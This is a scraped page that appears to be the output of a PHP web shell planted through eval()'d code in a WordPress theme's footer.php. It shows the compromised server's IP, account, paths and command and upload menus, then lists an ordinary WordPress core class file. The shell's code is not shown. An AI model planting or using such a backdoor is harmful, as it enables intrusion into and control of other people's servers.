Server IP : 37.187.155.34 / Your IP : 3.137.174.104 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341 OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/wp-includes/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Block Bindings API: WP_Block_Bindings_Source class. * * * @package WordPress * @subpackage Block Bindings * @since 6.5.0 */ /** * Class representing block bindings source. * * This class is designed for internal use by the Block Bindings registry. * * @since 6.5.0 * @access private * * @see WP_Block_Bindings_Registry */ final class WP_Block_Bindings_Source { /** * The name of the source. * * @since 6.5.0 * @var string */ public $name; /** * The label of the source. * * @since 6.5.0 * @var string */ public $label; /** * The function used to get the value from the source. * * @since 6.5.0 * @var callable */ private $get_value_callback; /** * The context added to the blocks needed by the source. * * @since 6.5.0 * @var array|null */ public $uses_context = null; /** * Constructor. * * Do not use this constructor directly. Instead, use the * `WP_Block_Bindings_Registry::register` method or the `register_block_bindings_source` function. * * @since 6.5.0 * * @param string $name The name of the source. * @param array $source_properties The properties of the source. */ public function __construct( string $name, array $source_properties ) { $this->name = $name; foreach ( $source_properties as $property_name => $property_value ) { $this->$property_name = $property_value; } } /** * Retrieves the value from the source. * * @since 6.5.0 * * @param array $source_args Array containing source arguments used to look up the override value, i.e. {"key": "foo"}. * @param WP_Block $block_instance The block instance. * @param string $attribute_name The name of the target attribute. * * @return mixed The value of the source. */ public function get_value( array $source_args, $block_instance, string $attribute_name ) { return call_user_func_array( $this->get_value_callback, array( $source_args, $block_instance, $attribute_name ) ); } /** * Wakeup magic method. * * @since 6.5.0 */ public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } }